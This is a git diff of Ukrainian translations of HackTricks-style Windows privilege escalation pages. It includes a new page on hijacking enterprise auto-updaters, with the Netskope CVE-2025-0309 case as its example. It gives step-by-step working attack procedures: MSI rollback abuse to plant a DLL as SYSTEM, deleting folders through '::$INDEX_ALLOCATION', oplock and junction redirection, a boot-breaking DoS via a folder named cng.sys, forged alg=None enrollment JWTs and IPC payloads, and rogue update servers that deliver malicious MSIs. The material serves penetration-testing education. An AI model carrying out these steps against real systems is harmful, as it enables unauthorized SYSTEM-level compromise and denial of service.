Прочитайте це, щоб **дізнатися про рівні цілісності**: @@ -1344,7 +1357,7 @@ https://github.com/jas502n/CVE-2019-1388 integrity-levels.md {{#endref}} -Потім **прочитайте це, щоб дізнатися про UAC та обходи UAC:** +Потім **прочитайте це, щоб дізнатися про UAC та UAC bypasses:** {{#ref}} @@ -1353,132 +1366,132 @@ integrity-levels.md ## Від довільного видалення/переміщення/перейменування папки до SYSTEM EoP -Техніка, описана [**в цьому блозі**](https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks) з експлойтом [**доступним тут**](https://github.com/thezdi/PoC/tree/main/FilesystemEoPs). +Техніка, описана [**в цьому дописі в блозі**](https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks) з кодом експлойту [**доступним тут**](https://github.com/thezdi/PoC/tree/main/FilesystemEoPs). -Атака в основному полягає в зловживанні функцією rollback у Windows Installer для заміни легітимних файлів шкідливими під час процесу видалення. Для цього атакуючому потрібно створити **шкідливий MSI installer**, який буде використаний для перехоплення папки `C:\Config.Msi`, котра пізніше використовується Windows Installer для збереження rollback-файлів під час видалення інших MSI-пакетів — ці rollback-файли будуть змінені так, щоб містити шкідливий payload. +Атака фактично полягає в зловживанні функцією rollback Windows Installer, щоб замінити легітимні файли шкідливими під час процесу деінсталяції. Для цього атакуючому потрібно створити **malicious MSI installer**, який буде використано для захоплення папки `C:\Config.Msi`, яка пізніше буде використана Windows Installer для збереження rollback-файлів під час деінсталяції інших MSI-пакетів, де файли rollback були змінені, щоб містити шкідливе навантаження. -Коротко техніка виглядає так: +Стислий опис техніки: -1. **Етап 1 – Підготовка до перехоплення (залишити `C:\Config.Msi` пустою)** +1. **Stage 1 – Preparing for the Hijack (leave `C:\Config.Msi` empty)** -- Крок 1: Встановити MSI -- Створити `.msi`, який встановлює нешкідливий файл (наприклад, `dummy.txt`) у записувану папку (`TARGETDIR`). -- Позначити інсталятор як **"UAC Compliant"**, щоб **не-адмін користувач** міг його запускати. -- Після інсталяції тримати відкритий **handle** до файлу. +- Крок 1: Install the MSI +- Створіть `.msi`, який встановлює нешкідливий файл (наприклад, `dummy.txt`) у записувану папку (`TARGETDIR`). +- Позначте інсталятор як **"UAC Compliant"**, щоб **користувач без прав адміністратора** міг його запускати. +- Після встановлення тримайте **handle** файлу відкритим. -- Крок 2: Почати видалення -- Видалити той же `.msi`. -- Процес видалення починає переміщувати файли в `C:\Config.Msi` і перейменовувати їх у файли з розширенням `.rbf` (rollback backups). -- **Опитувати відкритий handle** за допомогою `GetFinalPathNameByHandle`, щоб виявити, коли файл стане `C:\Config.Msi\.rbf`. +- Крок 2: Begin Uninstall +- Видаліть той самий `.msi`. +- Процес деінсталяції починає переміщувати файли в `C:\Config.Msi` та перейменовувати їх на `.rbf` (резервні rollback-файли). +- **Опитуйте відкритий handle файлу** за допомогою `GetFinalPathNameByHandle`, щоб визначити, коли файл стане `C:\Config.Msi\.rbf`. -- Крок 3: Кастомна синхронізація -- `.msi` містить **кастомну uninstall action (`SyncOnRbfWritten`)**, яка: -- Сигналізує, коли `.rbf` було записано. -- Потім **чекає** на іншу подію перед продовженням uninstall. +- Крок 3: Custom Syncing +- `.msi` включає **кастомну дію при деінсталяції (`SyncOnRbfWritten`)**, яка: +- Сигналізує, коли `.rbf` записано. +- Потім **чекає** на іншу подію перед продовженням деінсталяції. -- Крок 4: Блокування видалення `.rbf` -- Коли отримано сигнал, **відкрити `.rbf`** без `FILE_SHARE_DELETE` — це **перешкоджає його видаленню**. -- Потім **відповісти сигналом**, щоб uninstall міг завершитись. -- Windows Installer не може видалити `.rbf`, і оскільки не вдається очистити весь вміст, **`C:\Config.Msi` не видаляється**. +- Крок 4: Block Deletion of `.rbf` +- Після сигналу **відкрийте файл `.rbf`** без `FILE_SHARE_DELETE` — це **перешкоджає його видаленню**. +- Потім **відправте сигнал назад**, щоб деінсталяція могла завершитись. +- Windows Installer не може видалити `.rbf`, і оскільки він не може видалити весь вміст, **`C:\Config.Msi` не видаляється**. -- Крок 5: Ручне видалення `.rbf` -- Ви (атакуючий) вручну видаляєте файл `.rbf`. -- Тепер **`C:\Config.Msi` порожня**, готова до перехоплення. +- Крок 5: Manually Delete `.rbf` +- Ви (атакувальник) вручну видаляєте файл `.rbf`. +- Тепер **`C:\Config.Msi` порожня**, готова до захоплення. -> На цьому етапі **спричиніть вразливість на рівні SYSTEM, яка дозволяє довільне видалення папки**, щоб видалити `C:\Config.Msi`. +> На цьому етапі, **спровокуйте уразливість довільного видалення папки рівня SYSTEM**, щоб видалити `C:\Config.Msi`. -2. **Етап 2 – Замінити rollback-скрипти шкідливими** +2. **Stage 2 – Replacing Rollback Scripts with Malicious Ones** -- Крок 6: Відтворити `C:\Config.Msi` з слабкими ACL -- Створити папку `C:\Config.Msi` заново. -- Встановити **слабкі DACLs** (наприклад, Everyone:F), і **тримати відкритий handle** з `WRITE_DAC`. +- Крок 6: Recreate `C:\Config.Msi` with Weak ACLs +- Відтворіть папку `C:\Config.Msi` самостійно. +- Встановіть **ослаблені DACLs** (наприклад, Everyone:F), і **тримайте handle відкритим** з `WRITE_DAC`. -- Крок 7: Запустити іншу інсталяцію -- Заново інсталювати `.msi`, з: -- `TARGETDIR`: записуване місце. -- `ERROROUT`: змінна, що викликає примусову помилку. -- Ця інсталяція буде використана для повторного виклику **rollback**, який читає `.rbs` і `.rbf`. +- Крок 7: Run Another Install +- Знову встановіть `.msi`, з: +- `TARGETDIR`: місце з правами запису. +- `ERROROUT`: змінна, яка примусово викликає збій. +- Ця інсталяція буде використана, щоб знову викликати **rollback**, який читає `.rbs` та `.rbf`. -- Крок 8: Моніторинг появи `.rbs` -- Використати `ReadDirectoryChangesW` для моніторингу `C:\Config.Msi` до появи нового `.rbs`. -- Зафіксувати його імʼя файлу. +- Крок 8: Monitor for `.rbs` +- Використовуйте `ReadDirectoryChangesW`, щоб моніторити `C:\Config.Msi` до появи нового `.rbs`. +- Зафіксуйте його ім'я файлу. -- Крок 9: Синхронізація перед rollback -- `.msi` містить **кастомну install action (`SyncBeforeRollback`)**, яка: +- Крок 9: Sync Before Rollback +- `.msi` містить **кастомну дію інсталяції (`SyncBeforeRollback`)**, яка: - Сигналізує подією, коли `.rbs` створено. -- Потім **чекає** перед продовженням. +- Потім **чекає**, перш ніж продовжити. -- Крок 10: Повторне застосування слабких ACL -- Після отримання події `rbs created`: -- Windows Installer **застосовує сильні ACLs** до `C:\Config.Msi`. -- Але оскільки ви все ще маєте handle з `WRITE_DAC`, ви можете **знову застосувати слабкі ACLs**. +- Крок 10: Reapply Weak ACL +- Після отримання події `.rbs created`: +- Windows Installer **заново застосовує сильні ACL** до `C:\Config.Msi`. +- Але оскільки ви все ще маєте handle з `WRITE_DAC`, ви можете **знову застосувати слабкі ACL**. -> ACLs застосовуються **тільки при відкритті handle**, тож ви все ще можете записувати в папку. +> ACLs **перевіряються лише при відкритті handle**, тому ви все ще можете записувати в папку. -- Крок 11: Підсунути підроблені `.rbs` і `.rbf` -- Перезаписати файл `.rbs` підробленим rollback-скриптом, який наказує Windows: -- Відновити ваш `.rbf` (шкідлива DLL) у **привілейоване місце** (наприклад, `C:\Program Files\Common Files\microsoft shared\ink\HID.DLL`). -- Помістити ваш підроблений `.rbf`, що містить **шкідливу DLL з payload рівня SYSTEM**. +- Крок 11: Drop Fake `.rbs` and `.rbf` +- Перезапишіть файл `.rbs` **підробленим rollback-скриптом**, який наказує Windows: +- Відновити ваш файл `.rbf` (шкідливий DLL) у **привілейоване місце** (наприклад, `C:\Program Files\Common Files\microsoft shared\ink\HID.DLL`). +- Розмістити вашу підроблену `.rbf`, що містить **шкідливий SYSTEM-level payload DLL**. -- Крок 12: Запустити rollback -- Сигналізувати синхронізаційну подію, щоб інсталятор продовжився. -- Налаштовано **type 19 custom action (`ErrorOut`)**, щоб **навмисно викликати помилку інсталяції** в відомій точці. +- Крок 12: Trigger the Rollback +- Сигналізуйте про подію синхронізації, щоб інсталятор продовжив роботу. +- **Тип 19 кастомної дії (`ErrorOut`)** налаштований так, щоб **умисно викликати збій інсталяції** у відомій точці. - Це спричиняє початок **rollback**. -- Крок 13: SYSTEM встановлює вашу DLL +- Крок 13: SYSTEM Installs Your DLL - Windows Installer: -- Зчитує вашу шкідливу `.rbs`. -- Копіює вашу `.rbf` DLL у цільове місце. -- Тепер у вас є **шкідлива DLL у шляху, що завантажується SYSTEM**. +- Читає ваш шкідливий `.rbs`. +- Копіює ваш `.rbf` DLL у цільове місце. +- Тепер у вас є ваш **шкідливий DLL у шляху, що завантажується SYSTEM**. -- Останній крок: Виконати код від імені SYSTEM -- Запустіть довірений **auto-elevated binary** (наприклад, `osk.exe`), який завантажує перехоплену DLL. +- Остаточний крок: Execute SYSTEM Code +- Запустіть довірений **auto-elevated binary** (наприклад, `osk.exe`), який завантажує DLL, яку ви підхопили. - **Бум**: ваш код виконується **як SYSTEM**. ### Від довільного видалення/переміщення/перейменування файлу до SYSTEM EoP -Основна техніка rollback для MSI (попередня) припускає, що ви можете видалити **цілу папку** (наприклад, `C:\Config.Msi`). Але що якщо ваша вразливість дозволяє лише **довільне видалення файлу**? +Головна техніка MSI rollback (попередня) припускає, що ви можете видалити **цілу папку** (наприклад, `C:\Config.Msi`). Але що, якщо ваша уразливість дозволяє лише **довільне видалення файлу** ? -Ви можете експлуатувати **внутрішню будову NTFS**: кожна папка має прихований альтернативний потік даних під назвою: +Ви можете експлуатувати **внутрішні механізми NTFS**: кожна папка має прихований alternate data stream, який називається: ``` C:\SomeFolder::$INDEX_ALLOCATION ``` -Цей потік зберігає **індексні метадані** папки. +Цей потік зберігає **метадані індексу** папки. -Тому, якщо ви **видалите потік `::$INDEX_ALLOCATION`** папки, NTFS **видалить всю папку** з файлової системи. +Отже, якщо ви **видалите потік `::$INDEX_ALLOCATION`** папки, NTFS **видалить всю папку** з файлової системи. -Ви можете зробити це за допомогою стандартних API для видалення файлів, наприклад: +Цього можна досягти за допомогою стандартних API для видалення файлів, наприклад: ```c DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION"); ``` -> Хоча ви викликаєте *file* delete API, воно **видаляє саму папку**. +> Навіть якщо ви викликаєте *file* delete API, воно **видаляє саму папку**. -### Від видалення вмісту папки до SYSTEM EoP -Що, якщо ваш примітив не дозволяє видаляти довільні файли/папки, але він **дозволяє видаляти *вміст* папки, контрольованої атакуючим**? +### Від Folder Contents Delete до SYSTEM EoP +Що якщо ваш примітив не дозволяє видаляти довільні файли/папки, але він **дозволяє видалення вмісту папки, контрольованої атакуючим**? -1. Крок 1: Налаштуйте пастку — папку та файл +1. Крок 1: Підготуйте підставну папку та файл - Створіть: `C:\temp\folder1` -- Всередині: `C:\temp\folder1\file1.txt` +- Усередині: `C:\temp\folder1\file1.txt` -2. Крок 2: Встановіть **oplock** на `file1.txt` -- Цей oplock **призупиняє виконання**, коли привілейований процес намагається видалити `file1.txt`. +2. Крок 2: Розмістіть **oplock** на `file1.txt` +- **oplock** **призупиняє виконання**, коли привілейований процес намагається видалити `file1.txt`. ```c // pseudo-code RequestOplock("C:\\temp\\folder1\\file1.txt"); WaitForDeleteToTriggerOplock(); ``` -3. Крок 3: Спровокуйте процес SYSTEM (наприклад, `SilentCleanup`) -- Цей процес сканує папки (наприклад, `%TEMP%`) і намагається видалити їхній вміст. +3. Крок 3: Trigger SYSTEM process (e.g., `SilentCleanup`) +- Цей процес сканує папки (наприклад, `%TEMP%`) і намагається видалити їх вміст. - Коли він доходить до `file1.txt`, **oplock triggers** і передає контроль вашому callback. -4. Крок 4: Всередині oplock callback – перенаправте видалення +4. Крок 4: Усередині the oplock callback – перенаправте видалення -- Варіант A: Перемістіть `file1.txt` в інше місце -- Це очищує `folder1`, не порушуючи oplock. -- Не видаляйте `file1.txt` безпосередньо — це передчасно зніме oplock. +- Варіант A: Move `file1.txt` elsewhere +- Це звільняє `folder1` без порушення oplock. +- Не видаляйте `file1.txt` безпосередньо — це передчасно звільнить oplock. -- Варіант B: Перетворіть `folder1` у **junction**: +- Варіант B: Convert `folder1` into a **junction**: ```bash # folder1 is now a junction to \RPC Control (non-filesystem namespace) mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control @@ -1488,68 +1501,68 @@ mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control # Make file1.txt point to a sensitive folder stream CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION") ``` -> Це націлене на внутрішній поток NTFS, який зберігає метадані папки — його видалення видаляє папку. +> Це націлене на внутрішній потік NTFS, який зберігає метадані папки — його видалення видаляє папку. -5. Крок 5: Звільнення oplock -- SYSTEM process продовжує і намагається видалити `file1.txt`. -- Але тепер, через junction + symlink, він фактично видаляє: +5. Крок 5: Release the oplock +- Процес SYSTEM продовжує та намагається видалити `file1.txt`. +- Але тепер, через junction + symlink, фактично видаляється: ``` C:\Config.Msi::$INDEX_ALLOCATION ``` -**Результат**: `C:\Config.Msi` видаляється SYSTEM. +**Результат**: `C:\Config.Msi` видаляється користувачем SYSTEM. -### Від Arbitrary Folder Create до Permanent DoS +### Від створення довільної теки до постійного DoS -Використайте примітив, який дозволяє вам **create an arbitrary folder as SYSTEM/admin** — навіть якщо **ви не можете записувати файли** або **встановлювати слабкі права доступу**. +Скористайтеся примітивом, який дозволяє вам **створити довільну теку від імені SYSTEM/admin** — навіть якщо **ви не можете записувати файли** або **встановлювати слабкі дозволи**. -Створіть **папку** (не файл) з іменем **критичного драйвера Windows**, наприклад: +Створіть **теку** (не файл) з ім'ям **критичного Windows driver**, наприклад: ``` C:\Windows\System32\cng.sys ``` - Цей шлях зазвичай відповідає драйверу режиму ядра `cng.sys`. -- Якщо ви **передзаздалегідь створите його як папку**, Windows не зможе завантажити фактичний драйвер під час завантаження. -- Тоді Windows намагається завантажити `cng.sys` під час завантаження. -- Він бачить папку, **не вдається отримати доступ до фактичного драйвера**, і це **викликає збій або зупиняє завантаження**. -- Немає **запасного варіанту**, і **відновлення неможливе** без зовнішнього втручання (наприклад, відновлення завантаження або доступ до диска). +- Якщо ви **попередньо створите його як папку**, Windows не зможе завантажити фактичний драйвер під час завантаження. +- Потім Windows намагається завантажити `cng.sys` під час завантаження. +- Windows бачить папку, **не може знайти фактичний драйвер**, і **виникає збій або зупинка завантаження**. +- Немає **альтернативного механізму**, і **немає відновлення** без зовнішнього втручання (наприклад, відновлення завантаження або доступ до диска). -## **Від High Integrity до SYSTEM** +## **Від High Integrity до System** -### **Нова служба** +### **Новий service** -Якщо ви вже працюєте в процесі High Integrity, шлях до SYSTEM може бути простим — достатньо **створити та запустити нову службу**: +Якщо ви вже працюєте в процесі High Integrity, **шлях до SYSTEM** може бути простим — достатньо **створити та запустити новий service**: ``` sc create newservicename binPath= "C:\windows\system32\notepad.exe" sc start newservicename ``` > [!TIP] -> При створенні service binary переконайтеся, що це дійсно валідна служба або що бінарний файл виконує необхідні дії для запуску як служба, інакше його буде завершено через 20 секунд, якщо це не валідна служба. +> Коли створюєте service binary переконайтеся, що це дійсний сервіс або що бінарний файл виконує необхідні дії достатньо швидко, оскільки його буде завершено через 20s, якщо це не дійсний сервіс. ### AlwaysInstallElevated -From a High Integrity process you could try to **enable the AlwaysInstallElevated registry entries** and **install** a reverse shell using a _**.msi**_ wrapper.\ -[More information about the registry keys involved and how to install a _.msi_ package here.](#alwaysinstallelevated) +З процесу High Integrity ви можете спробувати **увімкнути AlwaysInstallElevated registry entries** та **встановити** reverse shell, використовуючи _**.msi**_ wrapper.\ +[Більше інформації про ключі реєстру та як встановити пакет _.msi_ тут.](#alwaysinstallelevated) ### High + SeImpersonate privilege to System -**You can** [**find the code here**](seimpersonate-from-high-to-system.md)**.** +**Ви можете** [**знайти код тут**](seimpersonate-from-high-to-system.md)**.** ### From SeDebug + SeImpersonate to Full Token privileges -Якщо у вас є ці token privileges (ймовірно ви знайдете їх в уже існуючому High Integrity процесі), ви зможете **відкрити майже будь-який процес** (не захищені процеси) з правом SeDebug, **скопіювати token** процесу та створити **довільний процес з цим token**.\ -Використання цієї техніки зазвичай передбачає **вибір будь-якого процесу, що працює як SYSTEM з усіма token privileges** (_так, ви можете знайти SYSTEM процеси без всіх token privileges_).\ -**You can find an** [**example of code executing the proposed technique here**](sedebug-+-seimpersonate-copy-token.md)**.** +Якщо у вас є ці привілеї токена (ймовірно ви знайдете їх у вже High Integrity процесі), ви зможете **відкрити майже будь-який процес** (не захищені процеси) з привілеєм SeDebug, **скопіювати токен** процесу і створити **довільний процес з цим токеном**.\ +Зазвичай для цієї техніки **обирають будь-який процес, що працює як SYSTEM з усіма привілеями токена** (_так, можна знайти SYSTEM процеси без усіх привілеїв токена_).\ +**Ви можете знайти** [**приклад коду, що виконує описану техніку тут**](sedebug-+-seimpersonate-copy-token.md)**.** ### **Named Pipes** -This technique is used by meterpreter to escalate in `getsystem`. The technique consists on **creating a pipe and then create/abuse a service to write on that pipe**. Then, the **server** that created the pipe using the **`SeImpersonate`** privilege will be able to **impersonate the token** of the pipe client (the service) obtaining SYSTEM privileges.\ -If you want to [**learn more about name pipes you should read this**](#named-pipe-client-impersonation).\ -If you want to read an example of [**how to go from high integrity to System using name pipes you should read this**](from-high-integrity-to-system-with-name-pipes.md). +Ця техніка використовується meterpreter для ескалації в `getsystem`. Техніка полягає в **створенні pipe і потім створенні/зловживанні сервісом для запису в цей pipe**. Тоді **сервер**, який створив pipe використовуючи привілей **`SeImpersonate`**, зможе **імперсонувати токен** клієнта pipe (сервісу), отримавши привілеї SYSTEM.\ +Якщо ви хочете [**дізнатися більше про name pipes — прочитайте це**](#named-pipe-client-impersonation).\ +Якщо ви хочете прочитати приклад [**як перейти від high integrity до System, використовуючи name pipes — прочитайте це**](from-high-integrity-to-system-with-name-pipes.md). ### Dll Hijacking -Якщо вам вдасться **hijack a dll**, яка **завантажується** процесом, що працює як **SYSTEM**, ви зможете виконувати довільний код з тими правами. Тому Dll Hijacking також корисний для такого підвищення привілеїв, і, більш того, набагато **легше досяжний з High Integrity процесу**, оскільки він матиме **права запису** у папках, що використовуються для завантаження dll.\ -**You can** [**learn more about Dll hijacking here**](dll-hijacking/index.html)**.** +Якщо вам вдасться **hijack a dll**, яка **завантажується** процесом, що працює як **SYSTEM**, ви зможете виконати довільний код з цими правами. Тому Dll Hijacking також корисний для такого роду ескалації привілеїв і, більш того, значно **легше досяжний з процесу high integrity**, оскільки він матиме **права на запис** у папках, що використовуються для завантаження dll.\ +**Ви можете** [**дізнатися більше про Dll hijacking тут**](dll-hijacking/index.html)**.** ### **From Administrator or Network Service to System** @@ -1559,53 +1572,53 @@ If you want to read an example of [**how to go from high integrity to System usi ### From LOCAL SERVICE or NETWORK SERVICE to full privs -**Read:** [**https://github.com/itm4n/FullPowers**](https://github.com/itm4n/FullPowers) +**Читати:** [**https://github.com/itm4n/FullPowers**](https://github.com/itm4n/FullPowers) -## More help +## Більше допомоги [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) -## Useful tools +## Корисні інструменти -**Best tool to look for Windows local privilege escalation vectors:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) +**Найкращий інструмент для пошуку Windows local privilege escalation vectors:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) **PS** [**PrivescCheck**](https://github.com/itm4n/PrivescCheck)\ -[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- Перевіряє на misconfigurations та чутливі файли (**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**). Detected.**\ -[**JAWS**](https://github.com/411Hall/JAWS) **-- Перевіряє деякі можливі misconfigurations та збирає інформацію (**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**).**\ -[**privesc** ](https://github.com/enjoiz/Privesc)**-- Перевіряє на misconfigurations**\ -[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- Дістає збережену інформацію сесій PuTTY, WinSCP, SuperPuTTY, FileZilla та RDP. Використовуйте -Thorough локально.**\ -[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Дістає credentials з Credential Manager. Detected.**\ -[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Розпилює зібрані паролі по домену**\ -[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh це PowerShell ADIDNS/LLMNR/mDNS/NBNS спуфер і man-in-the-middle інструмент.**\ -[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Базовий privesc Windows enumeration**\ +[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- Перевіряє на неправильні налаштування та чутливі файли (**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**). Виявлено.**\ +[**JAWS**](https://github.com/411Hall/JAWS) **-- Перевіряє на можливі неправильні налаштування та збирає інформацію (**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**).**\ +[**privesc** ](https://github.com/enjoiz/Privesc)**-- Перевірка на неправильні налаштування**\ +[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- Витягує збережену інформацію про сесії PuTTY, WinSCP, SuperPuTTY, FileZilla та RDP. Використовуйте -Thorough локально.**\ +[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Витягує облікові дані з Credential Manager. Виявлено.**\ +[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Розповсюджує зібрані паролі по домену**\ +[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh — PowerShell ADIDNS/LLMNR/mDNS/NBNS spoofer та інструмент man-in-the-middle.**\ +[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Базова інвентаризація Windows для privesc**\ [~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Пошук відомих privesc вразливостей (DEPRECATED for Watson)\ -[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Локальні перевірки **(Потрібні права Admin)** +[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Локальні перевірки **(Потрібні Admin права)** **Exe** -[**Watson**](https://github.com/rasta-mouse/Watson) -- Пошук відомих privesc вразливостей (потрібно компілювати за допомогою VisualStudio) ([**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\ -[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Перелічує хост у пошуку misconfigurations (більше інструмент для збору інформації ніж privesc) (потрібно компілювати) **(**[**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\ -[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- Дістає credentials з багатьох програм (precompiled exe в github)**\ +[**Watson**](https://github.com/rasta-mouse/Watson) -- Шукає відомі privesc вразливості (потрібно скомпілювати за допомогою VisualStudio) ([**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\ +[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Перелічує хост у пошуках неправильних налаштувань (скоріше інструмент збору інформації, ніж privesc) (потрібно скомпілювати) **(**[**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\ +[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- Витягує облікові дані з багатьох програм (precompiled exe на GitHub)**\ [**SharpUP**](https://github.com/GhostPack/SharpUp) **-- Порт PowerUp на C#**\ -[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- Перевірка на misconfiguration (виконуваний файл precompiled в github). Не рекомендовано. Погано працює в Win10.\ -[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- Перевірка можливих misconfigurations (exe з python). Не рекомендовано. Погано працює в Win10. +[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- Перевірка на неправильні налаштування (виконуваний файл precompiled на GitHub). Не рекомендовано. Погано працює на Win10.\ +[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- Перевірка можливих неправильних налаштувань (exe з python). Не рекомендовано. Погано працює на Win10. **Bat** -[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- Інструмент створений на основі цього посту (не потребує accesschk для коректної роботи але може його використовувати). +[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- Інструмент створений на основі цього поста (не потребує accesschk для коректної роботи, але може його використовувати). **Local** -[**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- Читає вивід **systeminfo** і рекомендує працюючі експлойти (локальний python)\ -[**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- Читає вивід **systeminfo** і рекомендує працюючі експлойти (локальний python) +[**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- Читає вивід **systeminfo** і рекомендує робочі експлойти (локальний python)\ +[**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- Читає вивід **systeminfo** та рекомендує робочі експлойти (локальний python) **Meterpreter** _multi/recon/local_exploit_suggestor_ -You have to compile the project using the correct version of .NET ([see this](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). To see the installed version of .NET on the victim host you can do: +Потрібно скомпілювати проект, використовуючи коректну версію .NET ([див. це](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). Щоб побачити встановлену версію .NET на хості жертви ви можете зробити: ``` C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line ``` diff --git a/src/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md b/src/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md new file mode 100644 index 000000000..0c5db2388 --- /dev/null +++ b/src/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md @@ -0,0 +1,123 @@ +# Зловживання Enterprise Auto-Updaters та Privileged IPC (e.g., Netskope stAgentSvc) + +{{#include ../../banners/hacktricks-training.md}} + +Ця сторінка узагальнює клас Windows local privilege escalation chains, які зустрічаються в enterprise endpoint agents та updaters, що відкривають low‑friction IPC surface і привілейований update flow. Репрезентативний приклад — Netskope Client for Windows < R129 (CVE-2025-0309), де low‑privileged user може примусити enrollment на attacker‑controlled сервер, а потім доставити шкідливий MSI, який встановлює сервіс SYSTEM. + +Ключові ідеї, які можна використовувати проти схожих продуктів: +- Зловживати localhost IPC привілейованого сервісу, щоб примусити re‑enrollment або reconfiguration на attacker server. +- Реалізувати vendor’s update endpoints, доставити підроблений Trusted Root CA і вказати updater на шкідливий „signed” пакет. +- Обходитись зі слабыми перевірками signer (CN allow‑lists), optional digest flags та lax MSI properties. +- Якщо IPC «encrypted», виводити key/IV з загальнодоступних machine identifiers, що зберігаються в registry. +- Якщо сервіс обмежує викликачів за image path/process name, inject у allow‑listed процес або spawn one suspended і bootstrap your DLL через minimal thread‑context patch. + +--- +## 1) Примусове enrollment на attacker server через localhost IPC + +Багато агентів постачають user‑mode UI процес, який спілкується з сервісом SYSTEM по localhost TCP використовуючи JSON. + +Спостерігалося в Netskope: +- UI: stAgentUI (низької цілісності) ↔ Service: stAgentSvc (SYSTEM) +- IPC command ID 148: IDP_USER_PROVISIONING_WITH_TOKEN + +Потік експлоїта: +1) Сформуйте JWT enrollment token, чиї claims контролюють backend host (наприклад, AddonUrl). Використайте alg=None щоб підпис не був потрібен. +2) Надішліть IPC повідомлення, що викликає provisioning command з вашим JWT та tenant name: +```json +{ +"148": { +"idpTokenValue": "", +"tenantName": "TestOrg" +} +} +``` +3) Сервіс починає звертатися до вашого зловмисного сервера для реєстрації/конфігурації, наприклад: +- /v1/externalhost?service=enrollment +- /config/user/getbrandingbyemail + +Примітки: +- Якщо верифікація виклику базується на path/name‑based, ініціюйте запит з виконуваного файлу вендора, що знаходиться у списку дозволених (див. §4). + +--- +## 2) Перехоплення каналу оновлень для виконання коду як SYSTEM + +Коли клієнт зв’язується з вашим сервером, реалізуйте очікувані endpoints і направте його на зловмисний MSI. Типова послідовність: + +1) /v2/config/org/clientconfig → Повернути JSON конфіг з дуже коротким інтервалом оновлення, наприклад: +```json +{ +"clientUpdate": { "updateIntervalInMin": 1 }, +"check_msi_digest": false +} +``` +2) /config/ca/cert → Повертає PEM CA certificate. Сервіс встановлює його в Local Machine Trusted Root store. +3) /v2/checkupdate → Повертає metadata, що вказує на зловмисний MSI і підроблену версію. + +Bypassing common checks seen in the wild: +- Signer CN allow‑list: сервіс може перевіряти лише, чи Subject CN дорівнює “netSkope Inc” або “Netskope, Inc.”. Ваш Rogue CA може випустити leaf із цим CN і підписати MSI. +- CERT_DIGEST property: додайте benign MSI property з ім’ям CERT_DIGEST. Під час інсталяції не виконується enforcement. +- Optional digest enforcement: config flag (e.g., check_msi_digest=false) відключає додаткову криптографічну валідацію. + +Результат: SYSTEM service встановлює ваш MSI з +C:\ProgramData\Netskope\stAgent\data\*.msi +та виконує arbitrary code як NT AUTHORITY\SYSTEM. + +--- +## 3) Forging encrypted IPC requests (when present) + +From R127, Netskope загорнув IPC JSON у поле encryptData, яке виглядає як Base64. Реверсинг показав AES зі key/IV, похідними 